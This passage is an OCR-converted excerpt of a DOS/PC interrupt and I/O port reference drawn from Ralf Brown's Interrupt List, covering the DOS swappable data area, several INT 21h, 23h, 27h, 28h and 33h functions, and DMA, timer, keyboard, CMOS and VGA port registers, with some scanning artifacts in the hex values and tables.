\hline 254h & BYTE flag & flag: translating sector/ cluster \\
\hline 255h & BYTE fla & flag: 00h if read, 01h if write \\
\hline 256h & BYTE cur & current working drive number \\
\hline 257h & BYTE clu & cluster factor \\
\hline 258h & BYTE " & "sda_CLUSSPLIT" flag: cluster split between two FAT sectors \\
\hline 259h & BYTE lin & line edit ( \(\mathrm{AH}=0 \mathrm{Ah}\) ) insert mode flag ( \(n o n z e r o=o n\) ) \\
\hline 25Ah & BYTE & canonicalized filename referred to existing file/dir if FFh \\
\hline 25Bh & BYTE volu & volume ID flag \\
\hline 25Ch & BYTE t & type of process termination (00h-03h) (see AH=4Dh) \\
\hline 25Dh & BYTE unu & unused (padding for alignment) \\
\hline 25Eh & BYTE fil & file create flag ( \(00 \mathrm{~h}=\) no, search only) \\
\hline
\end{tabular}

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25Fh
2CEh WORD temporary storage while saving/restoring caller's registers
2D0h DWORD pointer to prev call frame (offset 264 h ) if INT 21 reentered
    also switched to for duration of INT 24
2D4h WORD open mode/action for INT 21/AX=6C00h
2D6h BYTE extended open conditional flag
        set to 00 h by INT 21 h dispatcher, 02 h when a read is
performed, and 01h or 03h by INT \(21 / A X=6 C 00 h\)
2D7h WORD extended open I/O mode
2D9h DWORD stored ES:DI for AX=6C00h
2DDh WORD extended file open action code (see \#01770 at AX=6C00h)
2DFh WORD extended file open attributes (see \#01769 at \(A X=6 C 00 h\) )
2E1h WORD extended file open file mode (see \(A X=6 \mathrm{COOh}\) )
2E3h DWORD pointer to filename to open (see \(A X=6 C 00 h\) )
2E7h WORD high word of 32-bit sector number, or temp data buffer size from disk buffer
2E9h WORD "sda_OffsetMagicPatch"
2EBh BYTE disk full on >32M partition when set to 01h
2ECh WORD stores DS during call to [List-of-Lists + 37h]
2EEh WORD temporary storage (various uses)
2FOh BYTE storage for drive error
2F1h WORD DOS 3.4 (European MS-DOS 4.00) bit flags
2F3h DWORD pointer to user-supplied filename
2F7h DWORD pointer to user-supplied rename destination filename
2FBh WORD stores SS during call to [List-of-Lists + 37h] and INT 25,26
2FDh WORD stores SP during call to [List-of-Lists +37 h ] and INT 25,26
2FFh BYTE flag, nonzero if stack switched in calling [List-of-Lists+37h]
300h 21 BYTEs FindFirst search data for source file(s) of a rename operation (see \#01626 at AH=4Eh)
315h 32 BYTEs directory entry for file being renamed (see \#01352 at AH=11h)
335h 331 BYTEs critical error stack
480h 384 BYTEs disk stack (functions greater than 0Ch, INT 25,INT 26)
600h 384 BYTEs character I/O stack (functions 01h through 0Ch)
780h BYTE device driver lookahead flag (usually printer)
(see AH=64h"DOS \(3.2+\) ")
781h BYTE volume change flag
782h BYTE flag: virtual file open
783h BYTE fastseek drive
784h WORD fastseek first cluster number
786h WORD fastseek logical cluster number
788h WORD fastseek returned logical cluster number
78Ah WORD temporary location of DOS@SYSINIT
---MSDOS 7.1+ (FAT32)---
78Ch 47 BYTEs ???
7BBh BYTE flag: absolute disk read/write type
00h = INT 25/INT 26
\(01 \mathrm{~h}=\) INT 21/AX=7305h
7BCh WORD high word of directory cluster number at offset 2A2h
7BEh WORD high word of cluster number at offset 29Ch
7COh WORD high word of next file cluster number at offset 2BCh
7C2h WORD high word of last relative cluster number at offset 29Ah
7C4h WORD high word of temp at offset 276h
7C6h WORD high word of offset 244 h
7C8h WORD high word of EBX
7CAh WORD high word of EDX used by "PACK"

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7CCh WORD high word of EDI used by "UNPACK"
7CEh WORD high word of EBX used by "SETDIRSRCH"
7DOh WORD high word of ECX used by "FREECLUSTER"
7D2h WORD high word of EDI used by "GETEOF"
7D4h 3 WORDs ???
Note: the only fields which remain valid BETWEEN calls to INT 21h are those in the initial "swap-always" portion of the SDA
SeeAlso: \#01687,\#01689
--------D-215E00
INT 21 - DOS 3.1+ network - GET MACHINE NAME AX = 5E00h
DS:DX -> 16-byte buffer for ASCII machine name
Return: CF clear if successful
\(\mathrm{CH}=\) validity 00h name invalid nonzero valid CL \(=\) NetBIOS number for machine name DS: DX buffer filled with blank-paded name
CF set on error
AX = error code (01h) (see \#01680 at AH=59h)
Note: supported by OS/2 v1.3+ compatibility box, PC-NFS
SeeAlso: AX=5E01h

INT 21 - Windows95-LONG FILENAME FUNCTIONS
\(\mathrm{AH}=71 \mathrm{~h}\)
\(A L=\) function
0 Dh reset drive (see \(\mathrm{AX}=710 \mathrm{Dh}\) )
39h create directory (see AX=7139h)
\(3 A h\) remove directory (see \(A X=713 A h\) )
3 Bh set current directory (see \(A X=713 B h\) )
41 h delete file (see \(A X=7141 \mathrm{~h}\) )
43 h get/set file attributes (see \(A X=7143 \mathrm{~h}\) )
47 h get current directory ( see \(A X=7147 \mathrm{~h}\) )
4Eh find first file (see \(A X=714 E h\) )
4 Fh find next file (see \(\mathrm{AX}=714 \mathrm{Fh}\) )
56h move (rename) file (see \(A X=7156 \mathrm{~h}\) )
60h truename (see \(A X=7160 \mathrm{~h} / \mathrm{CL}=00 \mathrm{~h}, \mathrm{AX}=7160 \mathrm{~h} / \mathrm{CL}=02 \mathrm{~h}\) )
6 Ch create/ open file (see \(A X=716 \mathrm{Ch}\) )
AOh get volume information (see \(A X=71 A 0 h\) )
Alh terminate FindFirst/FindNext (see AX=71A1h)
A6h get file information (see \(A X=71 A 6 \mathrm{~h}\) )
A7h time conversion (see \(A X=71 A 7 h / B L=00 h, A X=71 A 7 h / B L=01 \mathrm{~h}\) )
A8h generate short filename (see \(A X=71 A 8 h\) )
A9h server create/ open file (see \(A X=71 A 9 h\) )
AAh create/terminate SUBST (see \(A X=71 A A h / B H=00 h, A X=71 A A h / B H=02 h\) )
Return: CF set on error
AX = error code (see \#01680)

7100h if function not supported
CF clear if successful other registers as for corresponding "old" DOS function
Notes: if error 7100h is returned, the old-style function should be called \(A X=714\) Eh returns a "search handle" which must be passed to \(A X=714\) Fh; when the search is complete, \(A X=71 \mathrm{~A} 1 \mathrm{~h}\) must be called to terminate the search
for compatibility with DOS versions prior to v7.00, the carry flag should be set on call to ensure that it is set on exit
Caldera's DPMS-enabled LONGNAME.EXE BETA 1 extension for DR-DOS 7 supports the following sub-set of LFN functions: 39h, 3Ah, 3Bh, 41h, 43h (BL = 0, 1 only), 47h, 4Eh, 4Fh, 56h, 60h (CL = 0, 1, 2), 6Ch, AOh, A1h, A8h. BETA 2 fixes LFN directory entry checksums, which were causing wrong LFNs to be attached to a file. The 8.3 short names for filenames with exactly 8 chars are no longer abbreviated (e.g. LONGNAME.TXT -> LONGNAME.TXT, not LONGNA~1.TXT). BETA 3 has A7h ( \(\mathrm{BL}=0,1\) ) functions added, and 4Eh/4Fh can return file times in both DOS and 64 bit formats, BETA 4 has support added for Caldera's DRFAT32 redirector extension (see INT 2F/AX=15xxh).
Caldera's DR-OpenDOS 7.02+ COMMAND.COM utilizes the LFN API as soon as it detects it (mind, that LONGNAME.EXE can be dynamically loaded and unloaded at runtime). This COMMAND.COM shell also works under MS-DOS/PC DOS and in DOS boxes of Windows9x, NT, 2000, and OS/2.
For 4DOS \(6.02+\) to work with 3rd party LFN providers, the Win95LFN=Yes directive should be inserted into the 4DOS.INI file.
Mike Podanoffsky's RxDOS 7.2 provides most of this API natively, including functions 39h, 3Ah, 3Bh, 41h, 43h (BL = ???), 47h, 4Bh, 4Eh, 4Fh, 56h, 60h (CL = 0, 1, 2, no CH), 6Ch, A0h, Alh and A7h. However, not all sub-functions seem to be supported yet.
SeeAlso: \(A H=39 \mathrm{~h}, \mathrm{AH}=3 \mathrm{Ah}, \mathrm{AH}=3 \mathrm{Bh}, \mathrm{AH}=41 \mathrm{~h}, \mathrm{AX}=4300 \mathrm{~h}, \mathrm{AX}=4301 \mathrm{~h}, \mathrm{AX}=4304 \mathrm{~h}, \mathrm{AX}=4306 \mathrm{~h}\)
SeeAlso: \(A X=4307 \mathrm{~h}, \mathrm{AH}=47 \mathrm{~h}, \mathrm{AH}=4 \mathrm{Eh}, \mathrm{AH}=4 \mathrm{Fh}, \mathrm{AH}=56 \mathrm{~h}, \mathrm{AH}=6 \mathrm{Ch}, \mathrm{AX}=714 \mathrm{Eh}, \mathrm{AX}=714 \mathrm{Fh}\)
--------N-21E1--SF04
INT 21 O - Novell NetWare - MESSAGE SERVICES - SEND PERSONAL MESSAGE AH = E1h subfn 04h DS:SI -> request buffer (see \#01826)
ES:DI -> reply buffer (see \#01827)
Return: \(\mathrm{AL}=\) status
00h successful
FEh I/O error or out of dynamic workspace
Notes: this function is supported by NetWare 4.0+ and Advanced NetWare 1.0-2.x message pipes use CPU time on the file server; IPX, SPX, or NetBIOS connections should be used for peer-to-peer communications as these protocols do not use file server time
SeeAlso: \(A H=E 1 h / S F=00 h, A H=E 1 h / S F=05 h, A H=E 1 h / S F=06 h, A H=E 1 h / S F=08 h\)
Format of NetWare "Send Personal Message" request buffer:
Offset Size Description (Table 01826)
00h WORD length of following data (max E5h)

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if all registers preserved, restart DOS call
---DOS 2+---
CF clear
Return: all registers preserved
return via RETF with CF set or (MS-DOS 1,DR DOS) RETF 2 with CF set DOS will abort program with errorlevel 0
else (RETF/RETF 2 with CF clear or IRET with CF ignored) interrupted DOS call is restarted
Notes: this interrupt is invoked whenever DOS detects a ^C or ^Break; it should never be called directly
MS-DOS 1.25 also invokes INT 23 on a divide overflow (INT 00)
MS-DOS remembers the stack pointer before calling INT 23, and if it is not the same on return, pops and discards the top word; this is what permits a return with RETF as well as IRET or RETF 2
MS-DOS 2.1+ ignores the returned CF if SP is the same on return as it was when DOS called INT 23, so RETF 2 will not terminate the program
Novell DOS 7 always pops a word if CF is set on return, so one should not return with RETF 2 and CF set or IRET with the stored flags' CF set
any DOS call may safely be made within the INT 23 handler, although the handler must check for a recursive invocation if it does call DOS
SeeAlso: INT 1B,INT 21/AH=92h"PTS-DOS"
--------D-27
INT 27 - DOS 1+ - TERMINATE AND STAY RESIDENT
DX = number of bytes to keep resident (max FFFOh)
CS = segment of PSP
Return: never
Notes: this is an obsolete call
INT 22, INT 23, and INT 24 are restored from the PSP
does not close any open files
the minimum number of bytes which will remain resident is 110 h for DOS 2.x and 60h for DOS 3.0+; there is no minimum for DOS 1.x, which implements this service in COMMAND.COM rather than the DOS kernel
SeeAlso: INT 21/AH=31h
--------D-28
INT 28 C - DOS 2+ - DOS IDLE INTERRUPT
SS:SP = top of MS-DOS stack for I/O functions
Return: all registers preserved
Desc: This interrupt is invoked each time one of the DOS character input functions loops while waiting for input. Since a DOS call is in progress even though DOS is actually idle during such input waits, hooking this function is necessary to allow a TSR to perform DOS calls while the foreground program is waiting for user input. The INT 28h handler may invoke any INT 21h function except functions 00h through 0Ch.
Notes: under DOS 2.x, the critical error flag (the byte immediately after the InDOS flag) must be set in order to call DOS functions 50h/51h from

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the INT 28h handler without destroying the DOS stacks.
calls to INT \(21 / \mathrm{AH}=3 \mathrm{Fh}, 40 \mathrm{~h}\) from within an INT 28 handler may not use a handle which refers to CON
at the time of the call, the InDOS flag (see INT \(21 / \mathrm{AH}=34 \mathrm{~h}\) ) is normally set to 01h; if larger, DOS is truly busy and should not be reentered
the default handler is an IRET instruction
supported in OS/2 compatibility box
the _MS-DOS_Programmer's_Reference_ for DOS 5.0 incorrectly documents this interrupt as superseded
the performance of NetWare Lite servers (and probably other peer-topeer networks) can be dramatically improved by calling INT 28 frequently from an application's idle loop
SeeAlso: INT 21/AH=34h,INT 2A/AH=84h,INT 2F/AX=1680h
--------M-330000
INT 33 - MS MOUSE - RESET DRIVER AND READ STATUS
\(A X=0000 h\)
Return: \(A X=\) status
0000h hardware/driver not installed
FFFFh hardware/driver installed
\(B X=\) number of buttons
0000h other than two
0002h two buttons (many drivers)
0003h Mouse Systems/Logitech three-button mouse FFFFh two buttons
Notes: since INT 33 might be uninitialized on old machines, the caller should first check that INT 33 is neither 0000h:0000h nor points at an IRET instruction (BYTE CFh) before calling this API
to use mouse on a Hercules-compatible monographics card in graphics mode, you must first set 0040h:0049h to 6 for page 0 or 5 for page 1, and then call this function. Logitech drivers v5.01 and v6.00 reportedly do not correctly use Hercules graphics in dual-monitor systems, while version 4.10 does.
the Logitech mouse driver contains the signature string "LOGITECH" three bytes past the interrupt handler; many of the Logitech mouse utilities check for this signature.
Logitech MouseWare v6.30 reportedly does not support CGA video modes if no CGA is present when it is started and the video board is later switched into CGA emulation
SeeAlso: \(A X=0011 \mathrm{~h}, \mathrm{AX}=0021 \mathrm{~h}, \mathrm{AX}=002 \mathrm{Fh}, \mathrm{INT} 62 / A X=007 \mathrm{Ah}\), INT 74
-------M-330001-
INT 33 - MS MOUSE v1.0+ - SHOW MOUSE CURSOR
\(A X=0001 \mathrm{~h}\)
SeeAlso: AX=0002h,INT 16/AX=FFFEh,INT 62/AX=007Bh,INT 6F/AH=06h"F_TRACK_ON"
--------M-330002
INT 33 - MS MOUSE v1.0+ - HIDE MOUSE CURSOR
\(A X=0002 h\)
Note: multiple calls to hide the cursor will require multiple calls to function 01h to unhide it.

SeeAlso: \(A X=0001 \mathrm{~h}, \mathrm{AX}=0010 \mathrm{~h}, \mathrm{INT} 16 / \mathrm{AX}=\mathrm{FFFFh}, \mathrm{INT} 62 / \mathrm{AX}=007 \mathrm{Bh}\)
SeeAlso: INT 6F/AH=08h"F_TRACK_OFF"
--------M-330003-
INT 33 - MS MOUSE v1.0+ - RETURN POSITION AND BUTTON STATUS \(A X=0003 h\)
Return: \(B X=\) button status (see \#03168)
\(C X=\) column
DX = row
Note: in text modes, all coordinates are specified as multiples of the cell size, typically \(8 \times 8\) pixels
SeeAlso: \(A X=0004 h, A X=000 B h, I N T 2 F / A X=D 000 h " Z W m o u s "\)
Bitfields for mouse button status:
Bit(s) Description (Table 03168)
0 left button pressed if 1
1 right button pressed if 1
2 middle button pressed if 1 (Mouse Systems/Logitech/Genius)
--------M-330004
INT 33 - MS MOUSE v1.0+ - POSITION MOUSE CURSOR
\(A X=0004 h\)
\(C X=\) column
DX \(=\) row
Note: the row and column are truncated to the next lower multiple of the cell size (typically \(8 \times 8\) in text modes); however, some versions of the Microsoft documentation incorrectly state that the coordinates are rounded
SeeAlso: AX=0003h,INT 62/AX=0081h,INT 6F/AH=10h"F_PUT_SPRITE"
--------M-330005
INT 33 - MS MOUSE v1.0+ - RETURN BUTTON PRESS DATA
\(A X=0005 h\)
\(B X=\) button number (see \#03169)
Return: \(A X=\) button states (see \#03168)
\(B X=\) number of times specified button has been pressed since last call
\(C X=\) column at time specified button was last pressed
DX \(=\) row at time specified button was last pressed
Note: at least for the Genius mouse driver, the number of button presses returned is limited to 7FFFh
SeeAlso: \(A X=0006 \mathrm{~h}, \mathrm{INT} 62 / A X=007 \mathrm{Ch}\)
(Table 03169)
Values for mouse button number:
0000h left
0001h right
0002h middle (Mouse Systems/Logitech/Genius mouse)
--------M-330006 \(\qquad\)
INT 33 - MS MOUSE v1.0+ - RETURN BUTTON RELEASE DATA
\(A X=0006 h\)
\(B X=\) button number (see \#03169)

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Return: AX = button states (see \#03168)
\(B X=\) number of times specified button has been released since last call
\(C X=\) column at time specified button was last released
DX = row at time specified button was last released
Note: at least for the Genius mouse driver, the number of button releases returned is limited to 7FFFh
SeeAlso: AX=0005h,INT 62/AX=007Ch
--------M-330007
INT 33 - MS MOUSE v1.0+ - DEFINE HORIZONTAL CURSOR RANGE
\(A X=0007 h\)
\(C X=\) minimum column
DX = maximum column
Note: in text modes, the minimum and maximum columns are truncated to the next lower multiple of the cell size, typically \(8 \times 8\) pixels
SeeAlso: AX=0008h,AX=0010h,AX=0031h,INT 62/AX=0080h
SeeAlso: INT 6F/AH=0Ch"F_SET_LIMITS_X"
--------M-330008 \(\qquad\)
INT 33 - MS MOUSE v1.0+ - DEFINE VERTICAL CURSOR RANGE
\(A X=0008 \mathrm{~h}\)
\(C X=\) minimum row
\(D X=\) maximum row
Note: in text modes, the minimum and maximum rows are truncated to the next lower multiple of the cell size, typically \(8 \times 8\) pixels
SeeAlso: \(A X=0007 \mathrm{~h}, \mathrm{AX}=0010 \mathrm{~h}, \mathrm{AX}=0031 \mathrm{~h}, \mathrm{INT} 62 / \mathrm{AX}=0080 \mathrm{~h}\)
SeeAlso: INT 6F/AH=0Eh"F_SET_LIMITS_Y"
--------M-330009 \(\qquad\)
INT 33 - MS MOUSE v3.0+ - DEFINE GRAPHICS CURSOR
\(A X=0009 h\)
\(B X=\) column of cursor hot spot in bitmap (-16 to 16)
CX = row of cursor hot spot ( -16 to 16)
ES:DX -> mask bitmap (see \#03170)
Notes: in graphics modes, the screen contents around the current mouse cursor position are ANDed with the screen mask and then XORed with the cursor mask
the Microsoft mouse driver v7.04 and v8.20 uses only BL and CL, so the hot spot row/column should be limited to -128.. 127
Microsoft KnowledgeBase article Q19850 states that the high bit is right-most, but that statement is contradicted by all other available documentation
SeeAlso: AX=000Ah,AX=0012h,AX=002Ah,INT 62/AX=007Fh,INT 6F/AH=0Ah"F_DEF_MASKS"
Format of mouse mask bitmap:
Offset Size Description (Table 03170)
00h 16 WORDsscreen mask
10h 16 WORDscursor mask
Note: each word defines the sixteen pixels of a row, low bit rightmost
--------M-33000A
INT 33 - MS MOUSE v3.0+ - DEFINE TEXT CURSOR
\(A X=000 A h\)
BX = hardware/software text cursor
0000h software
\(C X=\) screen mask
DX = cursor mask
0001h hardware
CX = start scan line
DX = end scan line
Note: when the software cursor is selected, the character/attribute data at the current screen position is ANDed with the screen mask and then XORed with the cursor mask
SeeAlso: AX=0009h,INT 62/AX=007Eh
--------M-33000B-
INT 33 - MS MOUSE v1.0+ - READ MOTION COUNTERS AX = 000Bh
Return: \(C X=\) number of mickeys mouse moved horizontally since last call DX = number of mickeys mouse moved vertically
Notes: a mickey is the smallest increment the mouse can sense positive values indicate down/right
SeeAlso: \(A X=0003 \mathrm{~h}, \mathrm{AX}=001 \mathrm{Bh}, A X=0027 \mathrm{~h}\)
--------M-33000C-
INT 33 - MS MOUSE v1.0+ - DEFINE INTERRUPT SUBROUTINE PARAMETERS
AX \(=000 \mathrm{Ch}\)
CX = call mask (see \#03171)
ES:DX -> FAR routine (see \#03172)
SeeAlso: \(A X=0018 \mathrm{~h}\)
Bitfields for mouse call mask:
Bit(s) Description (Table 03171)
0 call if mouse moves
1 call if left button pressed
2 call if left button released
3 call if right button pressed
4 call if right button released
5 call if middle button pressed (Mouse Systems/Logitech/Genius mouse)
6 call if middle button released (Mouse Systems/Logitech/Genius mouse)
7-15 unused
Note: some versions of the Microsoft documentation incorrectly state that CX bit 0 means call if mouse cursor moves
(Table 03172)
Values interrupt routine is called with:
AX = condition mask (same bit assignments as call mask)
\(B X=\) button state
CX \(=\) cursor column
DX = cursor row
SI = horizontal mickey count
DI \(=\) vertical mickey count

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```

Notes: some versions of the Microsoft documentation erroneously swap the
meanings of SI and DI
in text modes, the row and column will be reported as a multiple of
the character cell size, typically 8x8 pixels
--------M-33000D
--------------------------
INT 33 - MS MOUSE v1.0+ - LIGHT PEN EMULATION ON
AX = 000Dh
SeeAlso: AX=000Eh,INT 10/AH=04h
--------M-33000E-
INT 33 - MS MOUSE v1.0+ - LIGHT PEN EMULATION OFF
AX = 000Eh
SeeAlso: AX=000Dh
--------V-FF
INT FF - PC/FORTH - GRAPHICS API
BX = function number
0001h function REDRAW
0002h function !PEL
0003h function @PEL
0004h function LINE
0005h function ARC
0006h function @BLOCK
0007h function !BLOCK
0008h function FLOOD
DS:SI -> FORTH program counter
SS:BP -> FORTH parameter stack
SS:SP -> FORTH return stack
details of parameters not available
Return: AX,BX,CX,DX,ES,DI may be destroyed
Note: these functions all display an error message if the graphics routines
are not resident

```

\subsection*{71.3 Port listing}

This is only a portion of the port list available with RBIL. For a complete listing please refer CD .

\subsection*{71.3.1 Notations}

The port description format is:
PPPPw RW description
\(\left.\left.\begin{array}{cl}\text { where: } & \begin{array}{l}\text { is the four-digit hex port number or a plus sign and three hex }\end{array} \\
\text { digits to indicate an offset from a base port address }\end{array}\right\} \begin{array}{l}\text { is blank for byte-size port, ' } w \text { ' for word, and 'd' for dword }\end{array}\right\}\)\begin{tabular}{l} 
is dash (or blank) if not readable, ' \(r\) ' if sometimes readable, \\
R
\end{tabular} \begin{tabular}{l} 
'R' if "always" readable, '?' if readability unknown
\end{tabular}

> 'W' if "always" writable, 'C' if write-clear, and '?' if writability unknown

\subsection*{71.3.2 Listing}
----------P0000001F----------------------------SeeAlso: PORT 0080h-008Fh"DMA",PORT 00C0h-00DFh
\begin{tabular}{llll}
0000 & R- DMA channel 0 & current address & byte 0 , then byte 1 \\
0000 & -W DMA channel 0 & base address & byte 0 , then byte 1
\end{tabular}
0001 RW DMA channel 0 word count byte 0 , then byte 1
0002 R- DMA channel 1 current address byte 0, then byte 1
0002 -W DMA channel 1 base address byte 0, then byte 1

0003 RW DMA channel 1 word count byte 0 , then byte 1
0004 R- DMA channel 2 current address byte 0 , then byte 1
0004 -W DMA channel 2 base address byte 0, then byte 1
0005 RW DMA channel 2 word count byte 0, then byte 1
0006 R- DMA channel 3 current address byte 0, then byte 1
0006 -W DMA channel 3 base address byte 0, then byte 1
0007 RW DMA channel 3 word count byte 0, then byte 1
0008 R- DMA channel 0-3 status register (see \#P0001)
0008 -W DMA channel 0-3 command register (see \#P0002)
0009 -W DMA channel 0-3 write request register (see \#P0003)
000A RW DMA channel 0-3 mask register (see \#P0004)
000B -W DMA channel 0-3 mode register (see \#P0005)
000C -W DMA channel 0-3 clear byte pointer flip-flop register any write clears LSB/MSB flip-flop of address and counter registers
000D R- DMA channel 0-3 temporary register
000D -W DMA channel 0-3 master clear register any write causes reset of 8237
000E -W DMA channel 0-3 clear mask register any write clears masks for all channels
000F rW DMA channel 0-3 write mask register (see \#P0006)
Notes: the temporary register is used as holding register in memory-to-memory DMA transfers; it holds the last transferred byte
channel 2 is used by the floppy disk controller
on the IBM PC/XT channel 0 was used for the memory refresh and channel 3 was used by the hard disk controller on AT and later machines with two DMA controllers, channel 4 is used as a cascade for channels 0-3
command and request registers do not exist on a PS/2 DMA controller
Bitfields for DMA channel 0-3 status register:
Bit(s) Description (Table P0001)
7 channel 3 request active
6 channel 2 request active

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5 channel 1 request active 4 channel 0 request active
3 channel terminal count on channel 3
2 channel terminal count on channel 2
1 channel terminal count on channel 1
\(0 \quad\) channel terminal count on channel 0
SeeAlso: \#P0002,\#P0481
Bitfields for DMA channel 0-3 command register:
Bit(s) Description (Table P0002)
7 DACK sense active high
6 DREQ sense active high
\(5=1\) extended write selection
    \(=0\) late write selection
4 rotating priority instead of fixed priority
3 compressed timing (two clocks instead of four per transfer)
    \(=1\) normal timing (default)
    =0 compressed timing
\(2=1\) enable controller
    \(=0\) enable memory-to-memory
    1-0 channel number
SeeAlso: \#P0001,\#P0004,\#P0005,\#P0482
Bitfields for DMA channel 0-3 request register:
Bit(s) Description (Table P0003)
7-3 reserved (0)
\(2=0\) clear request bit
    \(=1\) set request bit
1-0 channel number
    00 channel 0 select
    01 channel 1 select
    10 channel 2 select
    11 channel 3 select
SeeAlso: \#P0004
Bitfields for DMA channel 0-3 mask register:
Bit(s) Description (Table P0004)
7-3 reserved (0)
\(2=0\) clear mask bit
    \(=1\) set mask bit
1-0 channel number
    00 channel 0 select
    01 channel 1 select
    10 channel 2 select
    11 channel 3 select
SeeAlso: \#P0001, \#P0002, \#P0003, \#P0484

Bitfields for DMA channel 0-3 mode register:
\begin{tabular}{ll}
\begin{tabular}{ll} 
Bit(s) \\
7-6
\end{tabular} & \begin{tabular}{l} 
Description (Table P0005) \\
transfer mode
\end{tabular} \\
& 00 demand mode \\
01 single mode \\
& 10 block mode \\
11 cascade mode \\
direction
\end{tabular}

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followed by the high byte. In 8254 read back modes, all selected counters and status are latched and must be read out completely before normal operation is valid again. Each counter switches back to normal operation after read out. In 'get status and counter' mode the first byte read is the status, followed by one or two counter values. (see \#P0379) Note that 16-bit reads performed without using the "latch" command will get the current high/low portion of the counter at the instant of the port read, so it is possible for the low part of the counter to wrap around before the high part gets read, resulting in a significant measurement error
0043 RW PIT mode port, control word register for counters 0-2 (see \#P0380) Once a control word has been written (43h), it must be followed immediately by performing the corresponding action to the counter registers (40h-42h), else the system may hang!!

Bitfields for 8254 PIT counter status byte:
Bit(s) Description (Table P0379)
7 PIN status of OUTx Pins ( \(1=\) high, \(0=\) low)
6 counter start value loaded
\(=0\) : yes, so counter latch is valid to be read
=1: no, wait for counter latch to be set (may last a while)
5-0 counter mode, same as bit5-0 at 43h
SeeAlso: \#P0380
Bitfields for 8253/8254 PIT mode control word:
Bit(s) Description (Table P0380)
7-6 counter select
00 counter 0 select
01 counter 1 select (not PS/2)
10 counter 2 select
11 (8253) reserved
(8254) read back counter (see \#P0379)
---if counter select---
5-4 counter access 00 counter latch command

BUG: Intel Neptune/Mercury/Aries Chipset 8237IB (SIO) needs a short delay after issuing this command, else the latched MSB may be outdated with respect to the LSB, resulting in large measuring errors.
Workaround: Check for this condition by comparing results with last results and don't use erroneous results.
01 read/write counter bits 0-7 only
10 read/write counter bits \(8-15\) only
11 read/write counter bits \(0-7\) first, then \(8-15\)
3-1 counter mode
000 mode 0 select - zero detection interrupt 001 mode 1 select - programmable one shot
x10 mode 2 select - rate generator
xl1 mode 3 select - square wave generator
counts down twice by two at a time; latch status and checkvalue of OUT pin to determine which half-cycle is activedivisor factor 3 not allowed!
100 mode 4 select - software triggered strobe101 mode 5 select - hardware triggered strobe
counting style0 binary counter 16 bits
        1 BCD counter (4 decades)
---if read back---
5-4 what to read
00 counter status, then value
01 counter value
10 counter status
11 reserved
3 select counter 2
2 select counter 1
1 select counter 0
0 reserved (0)
Note: after issuing a read back 'get status' command, any new read backcommand is ignored until the status is read from all selectedcounters.
--------K-P0060006F ..... -------------------------
PORT 0060-006F - KEYBOARD CONTROLLER 804x (8041, 8042) (or PPI (8255) on PC,XT)
Note: XT uses ports 60h-63h, AT uses ports 60h-64h
0060 RW KB controller data port or keyboard input buffer (ISA, EISA)should only be read from after status port bit0 = 1should only be written to if status port bit1 \(=0\)
0060 R- KeyBoard or KB controller data output buffer (via PPI on XT)PC: input from port A of 8255 , if bit7 in 61h set (see \#P0396)
get scancodes, special codes (in PC: with bit7 in 61h cleared)(see \#P0390)
0061 R- KB controller port \(B\) control register (ISA, EISA)system control port for compatibility with 8255 (see \#P0393)
0061 -W KB controller port B (ISA, EISA) (PS/2 port A is at 0092) system control port for compatibility with 8255 (see \#P0392)
0061 -W PPI Programmable Peripheral Interface 8255 (XT only) system control port (see \#P0394)
0062 RW PPI (XT only) data port C (see \#P0395)
0063 RW PPI (XT only) command mode register (see \#P0397)
0064 R- keyboard controller read status (see \#P0398,\#P0399,\#P0400)
0064 -W keyboard controller input buffer (ISA, EISA) (see \#P0401)
0064 -W (Amstrad/Schneider PC1512) set 'DIP switch S1' setting

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an emulation thereof built into the motherboard chipset
SeeAlso: PORT 00AOh"XT"
0070 -W CMOS RAM index register port (ISA, EISA)
bit \(7=1 \mathrm{NMI}\) disabled from reaching CPU
\(=0 \mathrm{NMI}\) enabled
bit 6-0 CMOS RAM index
( 64 bytes in early systems, now usually 128 bytes)
Note: any write to PORT 0070h should be followed by an action to PORT 0071h or the RTC wil be left in an unknown state.
0071 RW CMOS RAM data port (ISA, EISA) (see \#P0409)
(Table P0409)
Values for Real-Time Clock register number (see also CMOS.LST):
00h-0Dh clock registers
OEh diagnostics status byte
OFh shutdown status byte
10h diskette drive type for \(A\) : and B:
11h reserved / IBM fixed disk / setup options
12h fixed disk drive type for drive 0 and drive 1
13h reserved / AMI Extended CMOS setup (AMI Hi-Flex BIOS)
14 h equipment byte
15h LSB of system base memory in Kb
16h MSB of system base memory in Kb
17h LSB of total extended memory in Kb
18h MSB of total extended memory in Kb
19h drive C extension byte
1Ah drive D extension byte
1Bh-2Dh reserved
20h-27h commonly used for first user-configurable drive type
2Eh CMOS MSB checksum over 10-2D
2Fh CMOS LSB checksum over 10-2D
30 h LSB of extended memory found above 1 Mb at POST
31h MSB of extended memory found above 1Mb at POST
32 h date century in BCD
33h information flags
34h-3Fh reserved
35h-3Ch commonly used for second user-configurable drive type
3Dh-3Eh word to 82335 MCR memory config register at [22] (Phoenix)
42h-4Ch AMI 1990 Hyundai super-NB368S notebook ???
54h-57h AMI 1990 Hyundai super-NB368S notebook ???
5Ch-5Dh AMI 1990 Hyundai super-NB368S notebook ???
60h-61h AMI 1990 Hyundai super-NB368S notebook ???
---------V-P03C603C9------------------------------

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PORT 03C6-03C9 - EGA/VGA/MCGA - DAC REGISTERS
Range: PORT 03C6h or PORT 02C6h (alternate)
SeeAlso: PORT 03C0h,PORT 03C2h,PORT 03C4h,PORT 03CAh,PORT 03CEh"EGA",PORT 03D0h SeeAlso: PORT 83C6h"Wingine"

\author{
\(03 C 6\) RW (VGA, MCGA) PEL mask register (default FFh) \\ VGA: AND mask for color-register address. \\ MCGA: Never change from the default FFh.
}
\(03 C 6\) RW HiColor ET4000 (Sierra RAMDACs e.g. SC11486, SC11481, SC11488):
Enable HiColor feature: beside other assignments, consequtive read 3C6h 4 times and write magic value 80 h to it.
\(03 C 7\)-W (VGA,MCGA,CEG-VGA) PEL address register (read mode)
Sets DAC in read mode and assign start of color register index (0..255) for following read accesses to 3C9h. Don't write to 3C9h while in read mode. Next access to 03C8h will stop pending mode immediatly.
03C7 -W (CEG-Color VGA w/ Edsun Labs RAMDACs)
Enable and set Countinous Edge Graphics Mode:
Consecutive writely the following three key sequences in read mode (!) to 3C9h register DEh: 'CEG', 'EDS', 'UNx' (x see below). Current CEG mode can be read from palette register BFh 'blue', write access to that register will disable CEG features.
In CEG modes by combining old with new colors and dynamically changing palette values, the effective colors displayable are enhanced dramatically (in EDP modes up to virtually 32bit truecolor) on standard 16/256 color VGA. Also, effective resolution enhancement takes effect by anti-aliasing. Necessary EDP escape sequences should be moved to image border or single colored areas, if possible.

